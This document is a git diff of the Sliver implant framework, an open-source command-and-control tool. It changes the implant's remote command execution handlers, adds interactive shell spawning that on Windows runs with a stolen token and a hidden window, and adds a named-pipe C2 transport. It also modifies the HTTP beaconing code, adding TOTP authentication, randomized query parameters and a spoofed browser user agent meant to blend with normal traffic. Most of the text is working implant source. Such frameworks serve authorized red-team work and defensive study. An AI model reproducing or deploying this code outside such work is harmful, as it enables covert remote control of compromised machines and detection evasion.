github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
@@ -372,6 +376,8 @@ github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6J
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
@@ -697,6 +703,8 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+1 -7
View File
@@ -8,12 +8,6 @@ values such as X.509 certificates, etc. and compiles it to produce a binary.
The implant code contains a lot of platform specific code too, which varies the features
that will be supported on different platforms.
Platform agnostic code is implemented in `_default.go` files, and can be compiled for any
Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
valid Go compiler target but only contains very generic commands/features.
### Adding Implant Features
Simply adding new files to this directory will not work (but you can edit existing files).
In order to add new features you'll need to add the code to this directory AND update the
`server/generate/srcfiles.go` which contains a list of files the server should render.
+2 -2
View File
@@ -14,5 +14,5 @@ require (
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
)
github.com/pquerna/otp v1.3.0
)
+15
View File
@@ -69,6 +69,21 @@ func RandomEncoder() (int, Encoder) {
return nonce, EncoderMap[encoderID]
}
// RandomTxtEncoder - Get a random nonce identifier and a matching encoder
func RandomTxtEncoder() (int, Encoder) {
textEncoders := map[int]Encoder{
EnglishEncoderID: English{},
Base64EncoderID: Base64{},
}
keys := make([]int, 0, len(textEncoders))
for k := range textEncoders {
keys = append(keys, k)
}
encoderID := keys[insecureRand.Intn(len(keys))]
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
return nonce, textEncoders[encoderID]
}
// NopNonce - A NOP nonce identifies a request with no encoder/payload
// any value where mod = 0
func NopNonce() int {
+61 -6
View File
@@ -20,6 +20,7 @@ package handlers
import (
"archive/tar"
"bufio"
"bytes"
"compress/gzip"
"errors"
@@ -127,7 +128,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
}
func getDirList(target string) (string, []os.FileInfo, error) {
dir, _ := filepath.Abs(target)
dir, err := filepath.Abs(target)
if err != nil {
// {{if .Config.Debug}}
log.Printf("dir list failed to construct path %s", err)
// {{end}}
return "", nil, err
}
if _, err := os.Stat(dir); !os.IsNotExist(err) {
files, err := ioutil.ReadDir(dir)
return dir, files, err
@@ -140,7 +147,7 @@ func rmHandler(data []byte, resp RPCResponse) {
err := proto.Unmarshal(data, rmReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
log.Printf("error decoding message: %s", err)
// {{end}}
return
}
@@ -362,7 +369,11 @@ func uploadHandler(data []byte, resp RPCResponse) {
func executeHandler(data []byte, resp RPCResponse) {
var (
err error
err error
stdErr io.Writer
stdOut io.Writer
errWriter *bufio.Writer
outWriter *bufio.Writer
)
execReq := &sliverpb.ExecuteReq{}
err = proto.Unmarshal(data, execReq)
@@ -377,9 +388,43 @@ func executeHandler(data []byte, resp RPCResponse) {
cmd := exec.Command(execReq.Path, execReq.Args...)
if execReq.Output {
res, err := cmd.CombinedOutput()
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
stdOut = stdOutBuff
if execReq.Stderr != "" {
stdErrFile, err := os.Create(execReq.Stderr)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
defer stdErrFile.Close()
errWriter = bufio.NewWriter(stdErrFile)
stdErr = io.MultiWriter(errWriter, stdErrBuff)
}
if execReq.Stdout != "" {
stdOutFile, err := os.Create(execReq.Stdout)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
defer stdOutFile.Close()
outWriter = bufio.NewWriter(stdOutFile)
stdOut = io.MultiWriter(outWriter, stdOutBuff)
}
cmd.Stdout = stdOut
cmd.Stderr = stdErr
err := cmd.Run()
//{{if .Config.Debug}}
log.Println(string(res))
log.Println(string(stdOutBuff.String()))
//{{end}}
if err != nil {
// Exit errors are not a failure of the RPC, but of the command.
@@ -391,7 +436,17 @@ func executeHandler(data []byte, resp RPCResponse) {
}
}
}
execResp.Result = string(res)
if errWriter != nil {
errWriter.Flush()
}
if outWriter != nil {
outWriter.Flush()
}
execResp.Stderr = stdErrBuff.String()
execResp.Stdout = stdOutBuff.String()
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
} else {
err = cmd.Start()
if err != nil {
@@ -1,4 +1,4 @@
// +build !windows !linux !darwin
//go:build !(linux || darwin || windows)
package handlers
+53 -4
View File
@@ -19,7 +19,11 @@ package handlers
*/
import (
"bufio"
"bytes"
"fmt"
"io"
"os"
// {{if .Config.Debug}}
"log"
@@ -224,7 +228,11 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
func executeTokenHandler(data []byte, resp RPCResponse) {
var (
err error
err error
stdErr io.Writer
stdOut io.Writer
errWriter *bufio.Writer
outWriter *bufio.Writer
)
execReq := &sliverpb.ExecuteReq{}
err = proto.Unmarshal(data, execReq)
@@ -244,9 +252,43 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
}
if execReq.Output {
res, err := cmd.CombinedOutput()
stdOutBuff := new(bytes.Buffer)
stdErrBuff := new(bytes.Buffer)
stdErr = stdErrBuff
stdOut = stdOutBuff
if execReq.Stderr != "" {
stdErrFile, err := os.Create(execReq.Stderr)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
defer stdErrFile.Close()
errWriter = bufio.NewWriter(stdErrFile)
stdErr = io.MultiWriter(errWriter, stdErrBuff)
}
if execReq.Stdout != "" {
stdOutFile, err := os.Create(execReq.Stdout)
if err != nil {
execResp.Response = &commonpb.Response{
Err: fmt.Sprintf("%s", err),
}
proto.Marshal(execResp)
resp(data, err)
return
}
defer stdOutFile.Close()
outWriter = bufio.NewWriter(stdOutFile)
stdOut = io.MultiWriter(outWriter, stdOutBuff)
}
cmd.Stdout = stdOut
cmd.Stderr = stdErr
err := cmd.Run()
//{{if .Config.Debug}}
log.Println(string(res))
log.Println(string(stdOutBuff.String()))
//{{end}}
if err != nil {
// Exit errors are not a failure of the RPC, but of the command.
@@ -258,7 +300,14 @@ func executeTokenHandler(data []byte, resp RPCResponse) {
}
}
}
execResp.Result = string(res)
if errWriter != nil {
errWriter.Flush()
}
if outWriter != nil {
outWriter.Flush()
}
execResp.Stderr = stdErrBuff.String()
execResp.Stdout = stdOutBuff.String()
} else {
err = cmd.Start()
if err != nil {
+1 -1
View File
@@ -1,4 +1,4 @@
// +build windows linux darwin
//go:build linux || darwin || windows
package handlers
+1 -1
View File
@@ -1,4 +1,4 @@
// +build windows linux darwin
//go:build linux || darwin || windows
package handlers
@@ -1,4 +1,4 @@
// +build !darwin !windows !linux
//go:build !(linux || darwin || windows)
package hostuuid
@@ -1,4 +1,4 @@
// +build !windows !linux !darwin
//go:build !(linux || darwin || windows)
package limits
@@ -1,4 +1,6 @@
// +build !windows !linux !darwin
//go:build !(linux || darwin || windows)
package proxy
// Copyright 2018, Rapid7, Inc.
// License: BSD-3-clause
@@ -13,8 +15,6 @@
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
package proxy
import (
"bufio"
"bytes"
+115
View File
@@ -0,0 +1,115 @@
//go:build darwin || linux || freebsd || openbsd || dragonfly
package shell
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"os/exec"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
)
var (
// Shell constants
bash = []string{"/bin/bash"}
sh = []string{"/bin/sh"}
)
// Start - Start a process
func Start(command string) error {
cmd := exec.Command(command)
return cmd.Start()
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
if enablePty {
return ptyShell(tunnelID, command)
}
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
return nil
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
return nil
}
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
}
func ptyShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
term, err := pty.Start(cmd)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
// {{end}}
return pipedShell(tunnelID, command)
}
cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: term,
Stdin: term,
}
}
// GetSystemShellPath - Find bash or sh
func GetSystemShellPath(path string) []string {
if exists(path) {
return []string{path}
}
if exists(bash[0]) {
return bash
}
return sh
}
-99
View File
@@ -20,30 +20,8 @@ package shell
import (
"io"
// {{if .Config.Debug}}
"log"
// {{end}}
"os"
"os/exec"
// {{if ne .Config.GOOS "windows"}}
"runtime"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
// {{end}}
// {{if eq .Config.GOOS "windows"}}
"syscall"
"github.com/bishopfox/sliver/implant/sliver/priv"
"golang.org/x/sys/windows"
// {{end}}
)
const (
readBufSize = 1024
)
// Shell - Struct to hold shell related data
@@ -54,89 +32,12 @@ type Shell struct {
Stdin io.WriteCloser
}
// Start - Start a process
func Start(command string) error {
cmd := exec.Command(command)
//{{if eq .Config.GOOS "windows"}}
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
//{{end}}
return cmd.Start()
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
// {{if ne .Config.GOOS "windows"}}
if enablePty && runtime.GOOS != "windows" {
return ptyShell(tunnelID, command)
}
// {{end}}
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
//{{if eq .Config.GOOS "windows"}}
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
//{{end}}
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
// cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
}
// StartAndWait starts a system shell then waits for it to complete
func (s *Shell) StartAndWait() {
s.Command.Start()
s.Command.Wait()
}
// {{if ne .Config.GOOS "windows"}}
func ptyShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
ptmx, err := pty.Start(cmd)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[ptmx] %v, falling back to piped shell...", err)
// {{end}}
return pipedShell(tunnelID, command)
}
cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: ptmx,
Stdin: ptmx,
}
}
// {{end}}
func exists(path string) bool {
_, err := os.Stat(path)
if err == nil {
@@ -1,4 +1,5 @@
// +build !windows !linux !darwin
//go:build !windows && !darwin && !linux && !freebsd && !openbsd && !dragonfly
package shell
/*
@@ -20,11 +21,11 @@ package shell
*/
import (
"io"
// {{if .Config.Debug}}
"log"
// {{end}}
"os"
"os/exec"
)
@@ -34,14 +35,6 @@ var (
sh = []string{"/bin/sh"}
)
// Shell - Struct to hold shell related data
type Shell struct {
ID uint64
Command *exec.Cmd
Stdout io.ReadCloser
Stdin io.WriteCloser
}
// Start - Start a process
func Start(command string) error {
cmd := exec.Command(command)
@@ -49,7 +42,7 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
return pipedShell(tunnelID, command)
}
@@ -58,9 +51,7 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
log.Printf("[shell] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
cmd := exec.Command(command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
@@ -94,20 +85,3 @@ func GetSystemShellPath(path string) []string {
}
return sh
}
// StartAndWait starts a system shell then waits for it to complete
func (s *Shell) StartAndWait() {
s.Command.Start()
s.Command.Wait()
}
func exists(path string) bool {
_, err := os.Stat(path)
if err == nil {
return true
}
if os.IsNotExist(err) {
return false
}
return true
}
+48 -1
View File
@@ -18,13 +18,23 @@ package shell
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/priv"
"golang.org/x/sys/windows"
"os/exec"
"syscall"
)
var (
// Shell constants
commandPrompt = []string{"C:\\Windows\\System32\\cmd.exe"}
powerShell = []string{
"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"-NoExit",
// "-WindowStyle", "Hidden",
"-Command", "[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8",
}
)
@@ -39,3 +49,40 @@ func GetSystemShellPath(path string) []string {
}
return commandPrompt
}
// Start - Start a process
func Start(command string) error {
cmd := exec.Command(command)
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
return cmd.Start()
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
}
+2 -1
View File
@@ -257,7 +257,7 @@ func getRegisterSliver() *sliverpb.Envelope {
filename, err := os.Executable()
// Should not happen, but still...
if err != nil {
//TODO: build the absolute path to os.Args[0]
// TODO: build the absolute path to os.Args[0]
if 0 < len(os.Args) {
filename = os.Args[0]
} else {
@@ -287,6 +287,7 @@ func getRegisterSliver() *sliverpb.Envelope {
ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
ProxyURL: transports.GetProxyURL(),
PollInterval: uint32(transports.GetPollInterval() / time.Second),
ConfigID: "{{ .Config.ID }}",
})
if err != nil {
// {{if .Config.Debug}}
+23
View File
@@ -30,6 +30,14 @@ import (
"crypto/sha256"
"errors"
"io"
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
)
const (
@@ -125,3 +133,18 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
}
return plaintext, nil
}
func GetOTPCode() string {
now := time.Now().UTC()
opts := totp.ValidateOpts{
Digits: 8,
Algorithm: otp.AlgorithmSHA256,
Period: uint(30),
Skew: uint(1),
}
code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
// {{if .Config.Debug}}
log.Printf("TOTP Code: %s", code)
// {{end}}
return code
}
+65 -5
View File
@@ -1,3 +1,5 @@
//go:build windows
package transports
/*
@@ -23,15 +25,18 @@ package transports
import (
"bytes"
"encoding/binary"
"io"
"net"
"net/url"
"strings"
"sync"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/protobuf/sliverpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/lesnuages/go-winio"
"google.golang.org/protobuf/proto"
)
@@ -41,6 +46,61 @@ const (
writeBufSizeNamedPipe = 1024
)
func namedPipeConnect(uri *url.URL) (*Connection, error) {
conn, err := namePipeDial(uri)
if err != nil {
return nil, err
}
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan bool, 1)
connection := &Connection{
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
cleanup: func() {
// {{if .Config.Debug}}
log.Printf("[namedpipe] lost connection, cleanup...")
// {{end}}
close(send)
ctrl <- true
close(recv)
},
}
go func() {
defer connection.Cleanup()
for envelope := range send {
// {{if .Config.Debug}}
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
// {{end}}
namedPipeWriteEnvelope(&conn, envelope)
}
}()
go func() {
defer connection.Cleanup()
for {
envelope, err := namedPipeReadEnvelope(&conn)
if err == io.EOF {
break
}
if err == nil {
recv <- envelope
// {{if .Config.Debug}}
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
// {{end}}
}
}
}()
activeConnection = connection
return connection, nil
}
func namePipeDial(uri *url.URL) (net.Conn, error) {
address := uri.String()
address = strings.ReplaceAll(address, "namedpipe://", "")
@@ -64,7 +124,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
_, err = (*conn).Write(dataLengthBuf.Bytes())
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error %v and %d\n", err, dataLengthBuf)
log.Printf("[namedpipe] Error %s and %d\n", err, dataLengthBuf)
// {{end}}
}
totalWritten := 0
@@ -73,7 +133,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
totalWritten += n
if err2 != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error %v\n", err)
log.Printf("[namedpipe] Error %s\n", err)
// {{end}}
}
}
@@ -82,7 +142,7 @@ func namedPipeWriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error %v\n", err)
log.Printf("[namedpipe] Error %s", err)
// {{end}}
}
}
@@ -94,7 +154,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
_, err := (*conn).Read(dataLengthBuf)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error (read msg-length): %v\n", err)
log.Printf("[namedpipe] Error (read msg-length): %s", err)
// {{end}}
return nil, err
}
@@ -120,7 +180,7 @@ func namedPipeReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
err = proto.Unmarshal(dataBuf, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Unmarshaling envelope error: %v", err)
log.Printf("[namedpipe] Unmarshal envelope error: %s", err)
// {{end}}
return &sliverpb.Envelope{}, err
}
+210 -104
View File
@@ -20,13 +20,6 @@ package transports
// {{if .Config.HTTPc2Enabled}}
// Procedural C2
// ===============
// .txt = rsakey
// .jsp = init
// .php = session
// .js = poll
import (
"bytes"
"crypto/rsa"
@@ -57,15 +50,17 @@ import (
)
const (
defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
userAgent = "{{GenerateUserAgent}}"
defaultNetTimeout = time.Second * 60
defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
)
// HTTPStartSession - Attempts to start a session with a given address
func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
func HTTPStartSession(address string, pathPrefix string, proxyConfig string) (*SliverHTTPClient, error) {
var client *SliverHTTPClient
client = httpsClient(address, true)
client = httpsClient(address, proxyConfig)
client.PathPrefix = pathPrefix
err := client.SessionInit()
if err != nil {
@@ -73,7 +68,7 @@ func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, err
if strings.HasSuffix(address, ":443") {
address = fmt.Sprintf("%s:80", address[:len(address)-4])
}
client = httpClient(address, true) // Fallback to insecure HTTP
client = httpClient(address, proxyConfig) // Fallback to insecure HTTP
err = client.SessionInit()
if err != nil {
return nil, err
@@ -119,23 +114,62 @@ func (s *SliverHTTPClient) SessionInit() error {
return nil
}
func (s *SliverHTTPClient) newHTTPRequest(method, uri string, encoderNonce int, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri, body)
req.Header.Set("User-Agent", defaultUserAgent)
req.Header.Set("Accept-Language", "en-US")
query := req.URL.Query()
query.Set("_", fmt.Sprintf("%d", encoderNonce))
req.URL.RawQuery = query.Encode()
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept", acceptHeaderValue)
}
if uri.Scheme == "http" {
req.Header.Set("Upgrade-Insecure-Requests", "1")
}
return req
}
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value int) *url.URL {
values := uri.Query()
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
// {{if .Config.Debug}}
log.Printf("Encoder nonce %d", value)
// {{end}}
argValue := fmt.Sprintf("%d", value)
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(argValue))
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
argValue = argValue[:index] + char + argValue[index:]
}
values.Add(string(key), argValue)
uri.RawQuery = values.Encode()
return uri
}
func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL {
values := uri.Query()
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(value))
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
value = value[:index] + char + value[index:]
}
values.Add(string([]byte{key1, key2}), value)
uri.RawQuery = values.Encode()
return uri
}
func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
uri := s.txtURL()
uri := s.keyExchangeURL()
nonce, encoder := encoders.RandomTxtEncoder()
s.NonceQueryArgument(uri, nonce)
otpCode := GetOTPCode()
s.OTPQueryArgument(uri, otpCode)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
// {{end}}
nonce, encoder := encoders.RandomEncoder()
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
resp, err := s.Client.Do(req)
if err != nil {
// {{if .Config.Debug}}
@@ -180,22 +214,19 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
// We do our own POST here because the server doesn't have the
// session key yet.
func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
nonce, encoder := encoders.RandomEncoder()
// {{if .Config.Debug}}
log.Printf("[http] sessionInit = %v", sessionInit)
// {{end}}
payload := encoder.Encode(sessionInit)
// {{if .Config.Debug}}
log.Printf("[http] Encoded payload (%d) %v", nonce, payload)
// {{end}}
reqBody := bytes.NewReader(payload) // Already RSA encrypted
uri := s.jspURL()
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reqBody)
uri := s.startSessionURL()
s.NonceQueryArgument(uri, nonce)
otpCode := GetOTPCode()
s.OTPQueryArgument(uri, otpCode)
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
// {{if .Config.Debug}}
log.Printf("[http] POST -> %s", uri)
// {{end}}
resp, err := s.Client.Do(req)
if err != nil {
return err
@@ -220,14 +251,19 @@ func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
return nil
}
var (
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
)
// Poll - Perform an HTTP GET request
func (s *SliverHTTPClient) Poll() ([]byte, error) {
if s.SessionID == "" || s.SessionKey == nil {
return nil, errors.New("no session")
}
uri := s.jsURL()
uri := s.pollURL()
nonce, encoder := encoders.RandomEncoder()
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
s.NonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
// {{end}}
@@ -238,28 +274,35 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
// {{end}}
return nil, err
}
if resp.StatusCode != 200 && resp.StatusCode != 201 {
return nil, errors.New("Non-200 response code")
}
if resp.StatusCode == 403 {
if resp.StatusCode == http.StatusForbidden {
// {{if .Config.Debug}}
log.Printf("Server responded with invalid session for %v", s.SessionID)
// {{end}}
return nil, errors.New("invalid session")
}
var data []byte
respData, _ := ioutil.ReadAll(resp.Body)
defer resp.Body.Close()
if 0 < len(respData) {
data, err = encoder.Decode(respData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Decoding failed %s", err)
// {{end}}
return nil, err
}
if resp.StatusCode == http.StatusNoContent {
return nil, nil
}
return GCMDecrypt(*s.SessionKey, data)
if resp.StatusCode == http.StatusOK {
var data []byte
respData, _ := ioutil.ReadAll(resp.Body)
defer resp.Body.Close()
if 0 < len(respData) {
data, err = encoder.Decode(respData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Decoding failed %s", err)
// {{end}}
return nil, err
}
}
return GCMDecrypt(*s.SessionKey, data)
}
// {{if .Config.Debug}}
log.Printf("[http] Unexpected status code %v", resp)
// {{end}}
return nil, ErrStatusCodeUnexpected
}
// Send - Perform an HTTP POST request
@@ -267,15 +310,18 @@ func (s *SliverHTTPClient) Send(data []byte) error {
if s.SessionID == "" || s.SessionKey == nil {
return errors.New("no session")
}
reqData, err := GCMEncrypt(*s.SessionKey, data)
reqData, _ := GCMEncrypt(*s.SessionKey, data)
uri := s.sessionURL()
nonce, encoder := encoders.RandomEncoder()
s.NonceQueryArgument(uri, nonce)
reader := bytes.NewReader(encoder.Encode(reqData))
uri := s.phpURL()
// {{if .Config.Debug}}
log.Printf("[http] POST -> %s", uri)
// {{end}}
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reader)
